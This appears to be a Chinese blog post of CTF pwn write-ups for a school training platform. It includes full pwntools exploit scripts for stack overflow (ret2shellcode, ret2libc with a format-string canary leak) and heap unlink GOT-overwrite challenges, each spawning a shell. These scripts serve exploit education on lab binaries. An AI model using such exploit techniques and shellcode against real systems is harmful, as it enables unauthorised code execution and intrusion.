0.写在前面

学校近期买了安恒的平台,但是又因为平台上的WP写的太过简略,于是这里做详细记录

1. pwn1

题目描述:8888有惊喜

难度评级:⭐

考察分类:Steak Overflow(ret2shellcode)

这个题的难度主要在于小于20字节的shellcode的寻找

查保护,发现无保护,32位

mark

Patch掉0x080484CF处的call eax即可反编译

mark

逻辑很简单,程序会call传入的内容,因此我们可以直接传入shellcode,但是程序对读入做了长度限制,我们只能传入最长不超过0x14个字符。那么直接利用shellcraft.sh()生成的shellcode就不能用了。

mark

找到一个可用的18 bytes的shellcode

EXP如下:

from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn_1")

payload="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

sh.sendline(payload)
sh.interactive()
print(sh.recv())

2. pwn2

题目描述:8888有惊喜

难度评级:⭐⭐

考察分类:Heap Overflow(Unlink)

这个题的难度主要在于

查保护,发现NX保护,64位

mark

反编译发现是列表形式的heap题目

mark

其中在delete函数中可以明显看到存在UAF漏洞

mark

在create函数中没有对v2做任何验证

mark

可以看到name数组的首地址是0x6012A0

mark

GOT表地址为0x6011F0

mark

那么,我们可以利用-176的偏移使得*(name+(-176))指向GOT表区域,再利用UAF覆写GOT表(于是就想错了)

可以发现edit函数中没有对输入大小做限制,于是存在Heap overflow,存在Unlink漏洞

mark

那么我们就可以覆写free的got表为目标函数的地址

EXP如下:

from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn2")

def creat(index):
    sh.sendline('1')
    sh.sendline(str(index))

def delete(index):
    sh.sendline('3')
    sh.sendline(str(index))

def show(index):
    sh.sendline('4')
    sh.sendline(str(index))

def edit(index,input_length,value):
    sh.sendline('2')
    sh.sendline(str(index))
    sh.sendline(str(input_length))
    sh.sendline(value)

target_addr=0x6012a0
fd=target_addr - 0x18
bk=target_addr - 0x10
fake_chunk= p64(0) # prev_size
fake_chunk+=p64(0x81) # size
fake_chunk+=p64(fd)+p64(bk)
fake_chunk+='a'*0x60 #padding
fake_chunk+=p64(0x80) # next_prev_size
fake_chunk+=p64(0x90) # next_size

creat(0)
creat(1)
edit(0,len(fake_chunk),fake_chunk)
delete(1)
payload='A'*24+p64(0x601288)+p64(0x601208)
edit(0,len(payload),payload)
payload=p64(0x4009B6)
edit(1,len(payload),payload)
delete(0)

sh.interactive()
print(sh.recv())

3. pwn1-429-begin

题目描述:nc ipaddr 8000

难度评级:⭐⭐

考察分类:Steak Overflow(ret2libc)、格式化字符串

这个题的难度主要在于利用格式化字符串泄露Canary的值

查保护,发现Canary保护,64位

mark

分析程序发现在get_message函数中存在格式化字符串漏洞

mark

又发现v3也就是canary的值存放在ESP+7C的位置,于是可以使用%31$x-%32$x-%33$x-泄露,加-是为了获取时方便,于是就可以用s处的栈溢出覆盖返回地址,leak libc基址,进而get shell

EXP:

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

pwn1=ELF("./pwn1")

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
    libc=ELF("/home/xiaolan/Desktop/libc/libc6_2.12.1-0ubuntu10.4_i386.so")
else:
    sh = process("./pwn1")
    libc=ELF("/lib32/libc.so.6")

sh.recvuntil("please enter your name:")
sh.sendline('%31$x-%32$x-%33$x-')
sh.recvuntil("Welcome to participate the 429 ctf!\n")
canary_1=int(sh.recvuntil('-').strip('-'),16)
canary_2=int(sh.recvuntil('-').strip('-'),16)
canary_3=int(sh.recvuntil('-').strip('-'),16)
payload='A'*0x64+p32(canary_1)+p32(canary_2)+p32(canary_3)+'AAAA'+p32(pwn1.plt['puts'])+p32(0x0804851D)+p32(pwn1.got['puts'])
sh.recvuntil("can you leave me some messages:")
sh.sendline(payload)
puts_addr=u32(sh.recv()[0:4])
log.success("We get puts address :"+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success("We get libc base address :"+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
sh.sendline('%31$x-%32$x-%33$x-')
sh.recvuntil("Welcome to participate the 429 ctf!\n")
canary_1=int(sh.recvuntil('-').strip('-'),16)
canary_2=int(sh.recvuntil('-').strip('-'),16)
canary_3=int(sh.recvuntil('-').strip('-'),16)
payload='A'*0x64+p32(canary_1)+p32(canary_2)+p32(canary_3)+'AAAA'+p32(system_addr)+p32(0x0804851D)+p32(binsh_addr)
sh.recvuntil("can you leave me some messages:")
# gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
print(sh.recv())

*这里要说一下的是我在打远端的时候,失败了,应该是libc版本问题,因此在实际使用时请注意libc文件版本

4. pwn1-429-last

题目描述:nc ipaddr 8000

难度评级:⭐

考察分类:Steak Overflow(ret2libc)

这个题的难度主要在于寻找漏洞点(其实没啥难点。。。。。)

查保护,发现NX保护,32位

mark

容易分析出ShowInfo函数中存在strcpy危险函数,并且同样对参数长度没有做判断

mark

于是就是超级简单的一波ret2libc

EXP如下

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

pwn1=ELF("./pwn1")

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
    libc=ELF("/home/xiaolan/Desktop/libc/libc6_2.19-0ubuntu6.14_i386.so")
else:
    sh = process("./pwn1")
    libc=ELF("/lib32/libc.so.6")

payload='A'*0x88+'AAAA'+p32(pwn1.plt['puts'])+p32(0x080485FD)+p32(pwn1.got['puts'])

sh.recvuntil("input your name:")
sh.sendline(payload)
sh.recvuntil(":")
sh.sendline('1')
sh.recvuntil('\x0a')
puts_addr=u32(sh.recv()[0:4])
log.success("We get puts address :"+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success("We get libc base address :"+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
payload='A'*0x88+'AAAA'+p32(system_addr)+p32(0x080485FD)+p32(binsh_addr)
sh.sendline(payload)
sh.recvuntil(":")
sh.sendline('1')
sh.interactive()
print(sh.recv())

*这里要说一下的是我在打远端的时候,失败了,应该是libc版本问题,因此在实际使用时请注意libc文件版本

5. pwn2-429-begin

题目描述:nc ipaddr 8000

难度评级:(和pwn1-429-begin一样,无难度)

考察分类:Steak Overflow(ret2libc)

查保护,发现NX保护与Canary保护,32位

mark

分析发现。。。。极为的眼熟。。。至于眼熟在哪。。。我也不大清楚。。。。

然后就直接用pwn1-429-begin的EXP脚本试了一下。。。

出一样的题有意思吗。。。。。还是我把pwn1-429-begin做出了非预期?????

6. pwn2-429-last

题目描述:nc ipaddr 8000

难度评级:⭐⭐⭐⭐

考察分类:Steak Overflow(静态编译)

查保护,发现NX保护与Canary保护,32位

mark

这个题我要详细写一个WP,请移步

分类: CTF

4 条评论

ss · 2019年11月19日 下午3:52

pwn1的exp跑不通。。。

    xiaolan · 2019年11月22日 下午5:54

    我本地是通的诶。。。。

ss · 2019年11月19日 下午9:47

pwn1不用栈迁移?

    xiaolan · 2019年11月22日 下午5:54

    没必要吧~

发表评论

电子邮件地址不会被公开。 必填项已用*标注